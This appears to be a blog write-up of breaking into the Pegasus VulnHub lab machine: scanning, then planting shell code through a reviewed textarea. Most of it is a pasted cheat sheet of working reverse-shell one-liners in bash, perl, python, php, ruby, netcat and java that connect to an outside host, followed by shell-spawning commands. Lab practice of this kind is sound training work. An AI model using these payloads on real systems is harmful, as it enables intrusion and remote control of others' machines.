Analyzing Pegasus VM

Hello everyone,

This is my first article. I hope it goes well. Here I will try to solve Pegasus VM found @  https://www.vulnhub.com/entry/pegasus-1,109/

Following are the first 3 steps I used for enumeration:

1) Run Nmap (Port scanner)
2) Run Nikto (Application scanner)
3) Run dirb (directory buster)

Enumeration:

1) Initially I ran nmap with -sn (Ping sweep) to determine all the alive host in the segment.
Then scanned the IP with -A and -sV to enumerate further.

Got the open ports, services running on those ports.
 Lets check the website hosted.

2) Run nikto web application scanner for enumeration:



Nikto didn't help much this time. Except for platform information PHP/5.3.10-1ubuntu3.15

3) Run dirb as shown in the following screenshot for enumeration:

dirb didn't really help. After some manual analysis I came to know that the application sends back image for any random request.

And a file not found response when the extension .php is added to it.

After using dirb, directory buster and wfuzz with different wordlist I found the following.

It clearly states, whatever we enter in the textarea will be reviewed by Mike.
First thing that I can think of was to insert a php bind shell as enumerated by Nikto.

Submitted the code here.



Got the following error.

Then I tried the following shell codes form http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Still no result then I tried a shell code from http://packetstormsecurity.com/files/11058/bindshell.c.html

After that I tried nc for connecting to the port and finally I got the shell.

Then I tried to spawn a stable shell. Reference http://netsec.ws/?p=337

Shell Spawning

• python -c 'import pty; pty.spawn("/bin/sh")'

• echo os.system('/bin/bash')

• /bin/sh -i

• perl —e 'exec "/bin/sh";'

• perl: exec "/bin/sh";

• ruby: exec "/bin/sh"

• lua: os.execute('/bin/sh')

• (From within IRB)

  exec "/bin/sh"

• (From within vi)

  :!bash

• (From within vi)

  :set shell=/bin/bash:shell

• (From within nmap)

  !sh

And I got an interactive and stable shell form the exploited machine .